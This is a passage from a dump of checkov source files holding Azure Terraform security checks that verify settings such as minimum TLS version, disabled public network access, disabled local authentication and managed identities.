    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureServicebusMinTLSVersion(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure Service Bus is using the latest version of TLS encryption\"\n        id = \"CKV_AZURE_205\"\n        supported_resources = (\"azurerm_servicebus_namespace\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"minimum_tls_version\"\n\n    def get_expected_value(self) -> Any:\n        return \"1.2\"\n\n\ncheck = AzureServicebusMinTLSVersion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureServicebusPublicAccessDisabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureServicebusPublicAccessDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure 'public network access enabled' is set to 'False' for Azure Service Bus\"\n        id = \"CKV_AZURE_204\"\n        supported_resources = (\"azurerm_servicebus_namespace\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"public_network_access_enabled\"\n\n    def get_expected_value(self) -> Any:\n        \"\"\"\n        Returns the default expected value, governed by provider best practices\n        \"\"\"\n        return False\n\n\ncheck = AzureServicebusPublicAccessDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureSparkPoolIsolatedComputeEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureSparkPoolIsolatedComputeEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure isolated compute is enabled for Synapse Spark pools\"\n        id = \"CKV_AZURE_242\"\n        supported_resources = (\"azurerm_synapse_spark_pool\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"compute_isolation_enabled\"\n\n\ncheck = AzureSparkPoolIsolatedComputeEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/CDNDisableHttpEndpoints.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CDNDisableHttpEndpoints(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        # This is the full description of your check\n        description = \"Ensure the Azure CDN disables the HTTP endpoint\"\n\n        # This is the Unique ID for your check\n        id = \"CKV_AZURE_197\"\n\n        # These are the Terraform objects supported by this check (ex: aws_iam_policy_document)\n        supported_resources = (\"azurerm_cdn_endpoint\",)\n\n        # Valid CheckCategories are defined in checkov/common/models/enums.py\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"is_http_allowed\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = CDNDisableHttpEndpoints()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/CDNEnableHttpsEndpoints.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CDNEnableHttpsEndpoints(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        # This is the full description of your check\n        description = \"Ensure the Azure CDN enables the HTTPS endpoint\"\n\n        # This is the Unique ID for your check\n        id = \"CKV_AZURE_198\"\n\n        # These are the Terraform objects supported by this check (ex: aws_iam_policy_document)\n        supported_resources = (\"azurerm_cdn_endpoint\",)\n\n        # Valid CheckCategories are defined in checkov/common/models/enums.py\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(\n            name=description,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.PASSED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"is_https_allowed\"\n\n\ncheck = CDNEnableHttpsEndpoints()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/CDNTLSProtocol12.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\nINSECURE_TLS_VERSIONS = (\"None\", \"TLS10\")\n\n\nclass CDNTLSProtocol12(BaseResourceCheck):\n    def __init__(self) -> None:\n        # This is the full description of your check\n        description = \"Ensure the Azure CDN endpoint is using the latest version of TLS encryption\"\n\n        # This is the Unique ID for your check\n        id = \"CKV_AZURE_200\"\n\n        # These are the Terraform objects supported by this check (ex: aws_iam_policy_document)\n        supported_resources = (\"azurerm_cdn_endpoint_custom_domain\",)\n\n        # Valid CheckCategories are defined in checkov/common/models/enums.py\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if \"cdn_managed_https\" in conf and isinstance(conf[\"cdn_managed_https\"], list):\n            self.evaluated_keys = [\"cdn_managed_https\"]\n            cdn = conf[\"cdn_managed_https\"][0]\n            if \"tls_version\" in cdn and isinstance(cdn[\"tls_version\"], list) and cdn[\"tls_version\"][0] in INSECURE_TLS_VERSIONS:\n                self.evaluated_keys = [\"cdn_managed_https/[0]/tls_version\"]\n                return CheckResult.FAILED\n        if \"user_managed_https\" in conf and isinstance(conf[\"user_managed_https\"], list):\n            self.evaluated_keys = [\"user_managed_https\"]\n            user = conf[\"user_managed_https\"][0]\n            if \"tls_version\" in user and isinstance(user[\"tls_version\"], list) and user[\"tls_version\"][0] in INSECURE_TLS_VERSIONS:\n                self.evaluated_keys = [\"user_managed_https/[0]/tls_version\"]\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = CDNTLSProtocol12()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/CognitiveServicesConfigureIdentity.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CognitiveServicesDisablesPublicNetwork(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that all Azure Cognitive Services accounts are configured with a managed identity\"\n        id = \"CKV_AZURE_238\"\n        supported_resources = ['azurerm_cognitive_account']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"identity/[0]/type\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = CognitiveServicesDisablesPublicNetwork()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/CognitiveServicesDisablesPublicNetwork.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CognitiveServicesDisablesPublicNetwork(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Cognitive Services accounts disable public network access\"\n        id = \"CKV_AZURE_134\"\n        supported_resources = ['azurerm_cognitive_account']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'public_network_access_enabled'\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = CognitiveServicesDisablesPublicNetwork()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/CognitiveServicesEnableLocalAuth.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CognitiveServicesEnableLocalAuth(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Cognitive Services accounts disable local authentication\"\n        id = \"CKV_AZURE_236\"\n        supported_resources = ('azurerm_cognitive_account', )\n        categories = (CheckCategories.NETWORKING, )\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self):\n        return 'local_auth_enabled'\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = CognitiveServicesEnableLocalAuth()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/CosmosDBAccountsRestrictedAccess.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass CosmosDBAccountsRestrictedAccess(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Cosmos DB accounts have restricted access\"\n        id = \"CKV_AZURE_99\"\n        supported_resources = ['azurerm_cosmosdb_account']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'public_network_access_enabled' not in conf or conf['public_network_access_enabled'][0]:\n            self.evaluated_keys = ['public_network_access_enabled']\n            if 'is_virtual_network_filter_enabled' in conf and conf['is_virtual_network_filter_enabled'][0]:\n                self.evaluated_keys.append('is_virtual_network_filter_enabled')\n                if 'virtual_network_rule' in conf and conf['virtual_network_rule'][0]:\n                    self.evaluated_keys.append('virtual_network_rule')\n                    return CheckResult.PASSED\n                elif 'ip_range_filter' in conf and conf['ip_range_filter'][0]:\n                    self.evaluated_keys.append('ip_range_filter')\n                    return CheckResult.PASSED\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = CosmosDBAccountsRestrictedAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/CosmosDBDisableAccessKeyWrite.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CosmosDBDisableAccessKeyWrite(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure cosmosdb does not allow privileged escalation by restricting management plane changes\"\n        id = \"CKV_AZURE_132\"\n        supported_resources = (\"azurerm_cosmosdb_account\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"access_key_metadata_writes_enabled\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = CosmosDBDisableAccessKeyWrite()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/CosmosDBDisablesPublicNetwork.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CosmosDBDisablesPublicNetwork(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Azure Cosmos DB disables public network access\"\n        id = \"CKV_AZURE_101\"\n        supported_resources = ['azurerm_cosmosdb_account']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'public_network_access_enabled'\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = CosmosDBDisablesPublicNetwork()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/CosmosDBHaveCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CosmosDBHaveCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest\"\n        id = \"CKV_AZURE_100\"\n        supported_resources = ['azurerm_cosmosdb_account']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'key_vault_key_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = CosmosDBHaveCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/CosmosDBLocalAuthDisabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CosmosDBLocalAuthDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        # This is the full description of your check\n        description = \"Ensure that Local Authentication is disabled on CosmosDB\"\n\n        # This is the Unique ID for your check\n        id = \"CKV_AZURE_140\"\n\n        # These are the terraform objects supported by this check (ex: aws_iam_policy_document)\n        supported_resources = ('azurerm_cosmosdb_account',)\n\n        # Valid CheckCategories are defined in checkov/common/models/enums.py\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if conf.get(\"kind\") == [\"GlobalDocumentDB\"]:\n            return super().scan_resource_conf(conf)\n        return CheckResult.UNKNOWN\n\n    def get_inspected_key(self) -> str:\n        return \"local_authentication_disabled\"\n\n    def get_expected_value(self) -> Any:\n        return True\n\n\ncheck = CosmosDBLocalAuthDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/CutsomRoleDefinitionSubscriptionOwner.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nfrom typing import List\n\n\nclass CustomRoleDefinitionSubscriptionOwner(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that no custom subscription owner roles are created\"\n        id = \"CKV_AZURE_39\"\n        supported_resources = ['azurerm_role_definition']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        actions = conf.get(\"permissions\", [{}])[0].get(\"actions\", [\"\"])\n        if actions and \"*\" in actions[0]:\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['permissions/[0]/actions']\n\n\ncheck = CustomRoleDefinitionSubscriptionOwner()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/DataExplorerSKUHasSLA.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass DataExplorerSKUHasSLA(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that data explorer uses Sku with an SLA\"\n        id = \"CKV_AZURE_180\"\n        supported_resources = (\"azurerm_kusto_cluster\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_attribute_result=CheckResult.UNKNOWN,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"sku/[0]/name\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [\n            \"Dev(No SLA)_Standard_D11_v2\",\n            \"Dev(No SLA)_Standard_E2a_v4\",\n        ]\n\n\ncheck = DataExplorerSKUHasSLA()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/DataExplorerServiceIdentity.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass DataExplorerServiceIdentity(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that data explorer/Kusto uses managed identities to access Azure resources securely.\"\n        id = \"CKV_AZURE_181\"\n        supported_resources = ('azurerm_kusto_cluster',)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'identity/[0]/type'\n\n    def get_expected_values(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = DataExplorerServiceIdentity()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/DataExplorerUsesDiskEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass DataExplorerUsesDiskEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Azure Data Explorer (Kusto) uses disk encryption\"\n        id = \"CKV_AZURE_74\"\n        supported_resources = ['azurerm_kusto_cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'disk_encryption_enabled'\n\n\ncheck = DataExplorerUsesDiskEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/DataFactoryNoPublicNetworkAccess.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass DataFactoryNoPublicNetworkAccess(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Data factory public network access is disabled\"\n        id = \"CKV_AZURE_104\"\n        supported_resources = (\"azurerm_data_factory\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"public_network_enabled\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = DataFactoryNoPublicNetworkAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/DataFactoryUsesGitRepository.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DataFactoryUsesGitRepository(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Data Factory uses Git repository for source control\"\n        id = \"CKV_AZURE_103\"\n        supported_resources = [\"azurerm_data_factory\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        github = conf.get(\"github_configuration\", [{}])[0]\n        if isinstance(github, dict) and github.get(\"repository_name\"):\n            self.evaluated_keys = ['github_configuration/[0]/repository_name']\n            return CheckResult.PASSED\n        vsts = conf.get(\"vsts_configuration\", [{}])[0]\n        if isinstance(vsts, dict) and vsts.get(\"repository_name\"):\n            self.evaluated_keys = ['vsts_configuration/[0]/repository_name']\n            return CheckResult.PASSED\n        self.evaluated_keys = ['github_configuration', 'vsts_configuration']\n        return CheckResult.FAILED\n\n\ncheck = DataFactoryUsesGitRepository()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/DataLakeStoreEncryption.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass DataLakeStoreEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Data Lake Store accounts enables encryption\"\n        id = \"CKV_AZURE_105\"\n        supported_resources = ('azurerm_data_lake_store',)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return 'encryption_state'\n\n    def get_expected_value(self):\n        return \"Enabled\"\n\n\ncheck = DataLakeStoreEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/DatabricksWorkspaceIsNotPublic.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom typing import List, Any\n\n\nclass DatabricksWorkspaceIsNotPublic(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure Databricks Workspace data plane to control plane communication happens over private link\"\n        id = \"CKV_AZURE_158\"\n        supported_resources = ['azurerm_databricks_workspace']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_attribute_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return 'public_network_access_enabled'\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [True]\n\n\ncheck = DatabricksWorkspaceIsNotPublic()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/EventHubNamespaceMinTLS12.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass EventHubNamespaceMinTLS12(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Event Hub Namespace uses at least TLS 1.2\"\n        id = \"CKV_AZURE_223\"\n        supported_resources = (\"azurerm_eventhub_namespace\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"minimum_tls_version\"\n\n    def get_expected_value(self) -> Any:\n        return \"1.2\"\n\n\ncheck = EventHubNamespaceMinTLS12()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/EventHubNamespaceZoneRedundant.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\nLOCATIONS_W_REDUNDANCY = [\n    # Asia Pacific\n    \"Australia East\", \"australiaeast\",\n    \"Central India\", \"centralindia\",\n    \"China North 3\", \"chinanorth3\",\n    \"East Asia\", \"eastasia\",\n    \"Indonesia Central\", \"indonesiacentral\",\n    \"Japan East\", \"japaneast\",\n    \"Japan West\", \"japanwest\",\n    \"Korea Central\", \"koreacentral\",\n    \"New Zealand North\", \"newzealandnorth\",\n    \"South Africa North\", \"southafricanorth\",\n    \"Southeast Asia\", \"southeastasia\",\n    # Canada\n    \"Canada Central\", \"canadacentral\",\n    # Europe\n    \"France Central\", \"francecentral\",\n    \"Germany West Central\", \"germanywestcentral\",\n    \"Italy North\", \"italynorth\",\n    \"North Europe\", \"northeurope\",\n    \"Norway East\", \"norwayeast\",\n    \"Poland Central\", \"polandcentral\",\n    \"Spain Central\", \"spaincentral\",\n    \"Sweden Central\", \"swedencentral\",\n    \"Switzerland North\", \"switzerlandnorth\",\n    \"UK South\", \"uksouth\",\n    \"West Europe\", \"westeurope\",\n    # Mexico\n    \"Mexico Central\", \"mexicocentral\",\n    # Middle East\n    \"Israel Central\", \"israelcentral\",\n    \"Qatar Central\", \"qatarcentral\",\n    \"UAE North\", \"uaenorth\",\n    # South America\n    \"Brazil South\", \"brazilsouth\",\n    # US\n    \"Central US\", \"centralus\",\n    \"East US\", \"eastus\",\n    \"East US 2\", \"eastus2\",\n    \"South Central US\", \"southcentralus\",\n    \"US Gov Virginia\", \"usgovvirginia\",\n    \"West US 2\", \"westus2\",\n    \"West US 3\", \"westus3\"\n]\n\n\nclass EventHubNamespaceZoneRedundant(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        Zone Redundancy is now determined automatically based on region.\n        \"\"\"\n        name = \"Ensure the Azure Event Hub Namespace is zone redundant\"\n        id = \"CKV_AZURE_228\"\n        supported_resources = (\"azurerm_eventhub_namespace\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"location\"\n\n    def get_expected_values(self):\n        return LOCATIONS_W_REDUNDANCY\n\n\ncheck = EventHubNamespaceZoneRedundant()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/EventgridDomainIdentityProviderEnabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass EventgridDomainIdentityProviderEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Managed identity provider is enabled for Azure Event Grid Domain\"\n        id = \"CKV_AZURE_194\"\n        supported_resources = (\"azurerm_eventgrid_domain\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"identity/[0]/type\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = EventgridDomainIdentityProviderEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/EventgridDomainLocalAuthentication.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass EventgridDomainLocalAuthentication(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Event Grid Domain local Authentication is disabled\"\n        id = \"CKV_AZURE_195\"\n        supported_resources = (\"azurerm_eventgrid_domain\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"local_auth_enabled\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = EventgridDomainLocalAuthentication()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/EventgridDomainNetworkAccess.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass EventgridDomainNetworkAccess(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Azure Event Grid Domain public network access is disabled\"\n        id = \"CKV_AZURE_106\"\n        supported_resources = ['azurerm_eventgrid_domain']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, )\n\n    def get_inspected_key(self):\n        return 'public_network_access_enabled'\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = EventgridDomainNetworkAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/EventgridTopicIdentityProviderEnabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass EventgridTopicIdentityProviderEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Managed identity provider is enabled for Azure Event Grid Topic\"\n        id = \"CKV_AZURE_191\"\n        supported_resources = (\"azurerm_eventgrid_topic\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"identity/[0]/type\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = EventgridTopicIdentityProviderEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/EventgridTopicLocalAuthentication.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass EventgridTopicLocalAuthentication(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Event Grid Topic local Authentication is disabled\"\n        id = \"CKV_AZURE_192\"\n        supported_resources = (\"azurerm_eventgrid_topic\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"local_auth_enabled\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = EventgridTopicLocalAuthentication()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/EventgridTopicNetworkAccess.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass EventgridTopicNetworkAccess(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure public network access is disabled for Azure Event Grid Topic\"\n        id = \"CKV_AZURE_193\"\n        supported_resources = (\"azurerm_eventgrid_topic\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"public_network_access_enabled\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = EventgridTopicNetworkAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/FrontDoorWAFACLCVE202144228.py",
